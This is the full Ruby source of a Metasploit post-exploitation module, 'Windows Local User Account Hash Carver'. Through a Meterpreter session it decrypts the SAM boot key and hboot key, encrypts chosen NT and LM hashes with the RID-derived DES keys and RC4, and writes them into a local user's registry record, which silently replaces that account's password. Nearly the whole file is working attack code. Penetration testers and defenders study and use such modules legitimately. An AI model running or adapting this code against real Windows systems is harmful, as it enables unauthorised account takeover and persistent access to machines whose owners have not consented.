##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Local User Account Hash Carver',
        'Description' => %q{ This module will change a local user's password directly in the registry. },
        'License' => MSF_LICENSE,
        'Author' => [ 'p3nt4' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_registry_open_key
            ]
          }
        }
      )
      )
    register_options(
      [
        OptString.new('user', [true, 'Username to change password of', nil]),
        OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil])
      ]
    )
    # Constants for SAM decryption
    @sam_lmpass = "LMPASSWORD\x00"
    @sam_ntpass = "NTPASSWORD\x00"
    @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
    @sam_numeric = "0123456789012345678901234567890123456789\x00"
    @sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
    @sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
  end

  def run
    # Variable Setup
    username = datastore['user']
    pass = datastore['pass']
    # Detecting password style
    if pass.length == 32
      print_status('Password detected as NT hash')
      nthash = pass
      lmhash = 'aad3b435b51404eeaad3b435b51404ee'
    elsif pass.length == 65
      print_status('Password detected as LN:NT hashes')
      nthash = pass.split(':')[1]
      lmhash = pass.split(':')[0]
    else
      print_status('Password detected as clear text, generating hashes:')
      nthash = hash_nt(pass)
      lmhash = hash_lm(pass)
    end
    print_line('LM Hash: ' + lmhash)
    print_line('NT Hash: ' + nthash)
    print_status('Searching for user')
    ridInt = get_user_id(username)
    rid = '%08x' % ridInt
    print_line('User found with id: ' + rid)
    print_status('Loading user key')
    user = get_user_key(rid)
    print_status('Obtaining the boot key...')
    bootkey = capture_boot_key
    print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")
    hbootkey = capture_hboot_key(bootkey)
    print_status('Modifying user key')
    modify_user_key(hbootkey, ridInt, user, [nthash].pack('H*'), [lmhash].pack('H*'))
    print_status('Carving user key')
    write_user_key(rid, user)
    print_status("Completed! Let's hope for the best")
  rescue ::Interrupt
    raise $ERROR_INFO
  rescue ::Exception => e
    print_error("Error: #{e}")
  end

  def capture_hboot_key(bootkey)
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)
    return if !ok

    vf = ok.query_value('F')
    return if !vf

    vf = vf.data
    ok.close
    hash = Digest::MD5.new
    hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.decrypt
    rc4.key = hash.digest
    hbootkey = rc4.update(vf[0x80, 32])
    hbootkey << rc4.final
    return hbootkey
  end

  def get_user_id(username)
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)
    ok.enum_key.each do |usr|
      uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
      r = uk.query_value('')
      rid = r.type
      if usr.downcase == username.downcase
        return rid
      end

      uk.close
    end
    ok.close
    raise 'The user does not exist'
  end

  def get_user_key(rid)
    uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)
    user = uk.query_value('V').data
    uk.close
    return user
  end

  def write_user_key(rid, user)
    uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)
    uk.set_value('V', REG_BINARY, user)
    uk.close
  end

  def modify_user_key(hbootkey, rid, user, nthash, lmhash)
    hoff = user[0x9c, 4].unpack('V')[0] + 0xcc
    # Check if hashes exist (if 20, then we've got a hash)
    lm_exists = user[0x9c + 4, 4].unpack('V')[0] == 20
    nt_exists = user[0x9c + 16, 4].unpack('V')[0] == 20
    if !lm_exists && !nt_exists
      raise 'No password is currently set for the user'
    end

    print_status('Modifiying LM hash')
    if lm_exists
      user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
    else
      print_error('LM hash does not exist, skipping')
    end
    print_status('Modifiying NT hash')
    if nt_exists
      user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
    else
      print_error('NT hash does not exist, skipping')
    end
  end

  def rid_to_key(rid)
    s1 = [rid].pack('V')
    s1 << s1[0, 3]
    s2b = [rid].pack('V').unpack('C4')
    s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
    s2 << s2[0, 3]
    [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
  end

  def encode_utf16(str)
    str.to_s.encode(::Encoding::UTF_16LE).force_encoding(::Encoding::ASCII_8BIT)
  end

  def encrypt_user_hash(rid, hbootkey, hash, pass)
    if hash.empty?
      case pass
      when @sam_lmpass
        return @sam_empty_lm
      when @sam_ntpass
        return @sam_empty_nt
      end
      return ''
    end

    des_k1, des_k2 = rid_to_key(rid)
    d1 = OpenSSL::Cipher.new('des-ecb')
    d1.encrypt
    d1.padding = 0
    d1.key = des_k1
    d2 = OpenSSL::Cipher.new('des-ecb')
    d2.encrypt
    d2.padding = 0
    d2.key = des_k2
    md5 = Digest::MD5.new
    md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)
    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.encrypt
    rc4.key = md5.digest
    d2o = d2.update(hash[8, 8])
    d1o = d1.update(hash[0, 8])
    enchash = rc4.update(d1o + d2o)
    return enchash
  end

  def hash_nt(pass)
    return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack('H*')[0]
  end

  def hash_lm(key)
    lm_magic = 'KGS!@\#$%'
    key = key.ljust(14, "\0")
    keys = create_des_keys(key[0, 14])
    result = ''
    cipher = OpenSSL::Cipher.new('DES')
    keys.each do |k|
      cipher.encrypt
      cipher.key = k
      result << cipher.update(lm_magic)
    end
    return result.unpack('H*')[0]
  end

  def create_des_keys(string)
    keys = []
    string = string.dup
    until (key = string.slice!(0, 7)).empty?
      # key is 56 bits
      key = key.unpack('B*').first
      str = ''
      until (bits = key.slice!(0, 7)).empty?
        str << bits
        str << (bits.count('1').even? ? '1' : '0')  # parity
      end
      keys << [str].pack('B*')
    end
    keys
  end
end
